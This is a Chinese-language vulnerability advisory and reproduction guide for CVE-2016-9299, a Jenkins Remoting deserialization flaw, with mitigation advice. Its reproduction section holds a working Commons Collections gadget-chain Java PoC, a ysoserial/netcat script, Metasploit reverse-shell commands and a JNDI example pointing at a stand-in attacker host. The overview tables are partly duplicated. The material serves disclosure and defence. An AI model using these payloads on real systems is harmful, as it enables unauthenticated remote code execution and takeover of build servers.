一、漏洞简介¶
1.1 漏洞背景¶
Jenkins 是全球最流行的开源自动化服务器之一,广泛应用于 CI/CD 流程。2016年11月,安全研究人员发现 Jenkins 的 Remoting 模块存在严重的反序列化漏洞,攻击者可以通过发送精心构造的序列化 Java 对象触发 LDAP 查询,进而执行任意代码。
该漏洞属于 Java 反序列化漏洞家族的一员,与当时影响广泛的 Java 反序列化安全问题(如 Apache Commons Collections 反序列化漏洞)密切相关。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2016-9299 |
| 危害等级 | CRITICAL / 9.8 |
| 漏洞类型 | Jenkins Remoting LDAP 反序列化漏洞 |
| 披露时间 | 2017-01-12 |
| 影响组件 | Jenkins 重大 |
| 属性 | 内容 |
|---|---|
| CVE 编号 | CVE-2016-9299 |
| 危害等级 | 高危 (High) |
| CVSS 评分 | 9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 漏洞类型 | CWE-90: LDAP 注入 / CWE-502: 反序列化不可信数据 |
| 利用条件 | 无需认证,网络可达 |
| 影响组件 | Jenkins Remoting 模块 |
补充核验信息:公开时间:2017-01-12;NVD 评分:9.8(CRITICAL);CWE:CWE-90。
二、影响范围¶
2.1 受影响的版本¶
- Jenkins Weekly: 2.32 之前所有版本
- Jenkins LTS: 2.19.3 之前所有版本
2.2 不受影响的版本¶
- Jenkins Weekly: 2.32 及以上版本
- Jenkins LTS: 2.19.3 及以上版本
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Jenkins 服务器监听的 TCP 端口(默认为 49187 或配置的固定端口)可被攻击者访问
- 攻击者能够发送序列化的 Java 对象到 Jenkins Remoting 端口
- 目标环境存在可利用的反序列化链(如 Commons Collections)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
该漏洞的核心在于 Jenkins Remoting 模块在处理序列化对象时未进行充分的类型验证:
攻击流程:
┌─────────────────────────────────────────────────────────────┐
│ 攻击者 │
│ │ │
│ ├─> 构造恶意序列化 Java 对象 │
│ │ (包含恶意的 LDAP JNDI 引用) │
│ │ │
│ ▼ │
│ Jenkins Remoting 端口 (TCP) │
│ │ │
│ ├─> Jenkins 接收并反序列化对象 │
│ │ │
│ ├─> 触发 JNDI/LDAP 查询 │
│ │ │
│ ▼ │
│ 攻击者控制的 LDAP 服务器 │
│ │ │
│ ├─> 返回恶意的 Java 类引用 │
│ │ │
│ ▼ │
│ Jenkins 加载并执行恶意代码 │
└─────────────────────────────────────────────────────────────┘
3.2 源码层面的根因分析(结合源码与补丁对比)¶
问题代码位置: remoting/src/main/java/hudson/remoting/Channel.java
// 简化的漏洞代码示意
public class Channel {
// 反序列化入口点
protected Object readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// 漏洞点:未对反序列化的对象类型进行严格限制
// 允许任意类型的 Java 对象被反序列化
Object obj = ois.readObject();
// 缺少类型白名单检查
// 黑名单机制不完善,SignedObject 等类未被阻止
return obj;
}
}
根本原因:
-
缺乏类型验证: Jenkins Remoting 使用
ObjectInputStream.readObject()直接反序列化接收到的数据,未实现严格的类型白名单机制。 -
JNDI 注入: 当反序列化包含 JNDI 引用的对象时,Java 会自动解析这些引用并发起 LDAP/RMI 查询。
-
类路径中的可利用链: Jenkins 类路径中包含 Apache Commons Collections 等库,这些库存在已知的反序列化利用链。
攻击链示例:
// 攻击者构造的恶意对象
import javax.naming.InitialContext;
import java.util.Hashtable;
public class ExploitPayload {
public static void main(String[] args) throws Exception {
// 构造指向恶意 LDAP 服务器的 JNDI 引用
String ldapUrl = "ldap://attacker.com:1389/ExploitClass";
// 利用 Commons Collections 链触发 JNDI 查询
Object payload = createJNDIInjectionPayload(ldapUrl);
// 序列化并发送到目标 Jenkins
sendToJenkins(payload);
}
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
使用 Docker 搭建受影响的 Jenkins 环境:
# 拉取受影响的 Jenkins 版本
docker pull jenkins/jenkins:2.19.2
# 启动 Jenkins 容器
docker run -d \
--name vulnerable-jenkins \
-p 8080:8080 \
-p 50000:50000 \
jenkins/jenkins:2.19.2
# 等待 Jenkins 启动
sleep 60
# 获取初始管理员密码
docker exec vulnerable-jenkins cat /var/jenkins_home/secrets/initialAdminPassword
# 访问 http://localhost:8080 完成初始配置
# 注意:不要安装安全更新
环境要求:
# docker-compose.yml
version: '3'
services:
jenkins:
image: jenkins/jenkins:2.19.2
ports:
- "8080:8080"
- "50000:50000"
- "49187:49187" # Remoting 端口
environment:
- JAVA_OPTS=-Djenkins.install.runSetupWizard=false
volumes:
- jenkins_home:/var/jenkins_home
volumes:
jenkins_home:
4.2 PoC 演示与测试过程¶
PoC 代码 - 使用 ysoserial 生成 Payload:
#!/bin/bash
# CVE-2016-9299-PoC.sh
# 需要安装 ysoserial 和 netcat
TARGET_IP="192.168.1.100"
TARGET_PORT="49187" # Jenkins Remoting 端口
# 使用 ysoserial 生成 Commons Collections payload
# 注意:这只是一个概念验证,实际利用需要更复杂的 payload
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" > payload.bin
# 发送 payload 到 Jenkins Remoting 端口
# 实际攻击需要按照 Jenkins Remoting 协议格式化数据
cat payload.bin | nc $TARGET_IP $TARGET_PORT
echo "Payload sent to $TARGET_IP:$TARGET_PORT"
Java PoC 代码:
// CVE-2016-9299-PoC.java
import java.io.*;
import java.net.*;
import java.util.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
public class CVE_2016_9299_PoC {
public static void main(String[] args) throws Exception {
String targetHost = "192.168.1.100";
int targetPort = 49187;
// 构造恶意的序列化对象
Object payload = generatePayload();
// 连接到 Jenkins Remoting 端口
Socket socket = new Socket(targetHost, targetPort);
OutputStream out = socket.getOutputStream();
// 发送序列化数据
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(payload);
oos.flush();
System.out.println("[+] Payload sent successfully");
socket.close();
}
// 使用 Commons Collections 链构造 payload
private static Object generatePayload() throws Exception {
String command = "touch /tmp/jenkins_pwned";
// 创建 ChainedTransformer 链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {command})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 创建 LazyMap
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
// 创建 TiedMapEntry
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
// 创建 HashSet 触发反序列化链
Set set = new HashSet(1);
set.add("foo");
// 使用反射修改 HashSet 内部结构
Field f = HashSet.class.getDeclaredField("map");
f.setAccessible(true);
HashMap innerSet = (HashMap) f.get(set);
Field f2 = HashMap.class.getDeclaredField("table");
f2.setAccessible(true);
Object[] table = (Object[]) f2.get(innerSet);
Object node = table[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry);
return set;
}
}
Metasploit 模块:
# Metasploit 辅助模块使用
use exploit/multi/http/jenkins_serialized_object_rce
set RHOSTS 192.168.1.100
set RPORT 49187
set PAYLOAD cmd/unix/reverse_bash
set LHOST 192.168.1.200
exploit
验证命令执行:
# 在 Jenkins 容器中检查命令是否执行成功
docker exec vulnerable-jenkins ls -la /tmp/pwned
# 如果文件存在,说明漏洞利用成功
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
| 当前版本 | 建议升级版本 |
|---|---|
| Jenkins Weekly < 2.32 | 升级到 2.32 或更新版本 |
| Jenkins LTS < 2.19.3 | 升级到 2.19.3 或更新版本 |
升级步骤:
# 方法1: 通过 Jenkins Web UI 升级
# 1. 访问 http://your-jenkins:8080/manage
# 2. 点击 "Check for updates"
# 3. 下载并安装更新
# 方法2: 使用命令行升级 (WAR 包部署)
wget https://updates.jenkins.io/download/war/2.32/jenkins.war
# 停止 Jenkins,替换 WAR 包,重启
# 方法3: Docker 环境升级
docker pull jenkins/jenkins:2.32
docker stop vulnerable-jenkins
docker rm vulnerable-jenkins
docker run -d --name jenkins -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.32
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
1. 禁用 Remoting 端口:
# 在 Jenkins 配置中禁用 TCP 端口
# 编辑 $JENKINS_HOME/jenkins.model.JenkinsLocationConfiguration.xml
# 或者通过 Java 系统属性
java -Djenkins.tcpSlaveAgentPort=-1 -jar jenkins.war
2. 配置防火墙规则:
# 限制 Remoting 端口访问 (仅允许受信任的 IP)
iptables -A INPUT -p tcp --dport 49187 -s <trusted_agent_ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 49187 -j DROP
3. 启用认证:
在 Manage Jenkins > Configure Global Security 中:
- 启用安全领域 (LDAP/Jenkins 用户数据库)
- 启用授权策略
- 要求 Agent 连接需要认证
4. 网络隔离:
# 将 Jenkins 部署在内网,仅通过反向代理对外暴露
# 只开放 HTTP/HTTPS 端口 (80/443)
# 不暴露 Remoting 端口到公网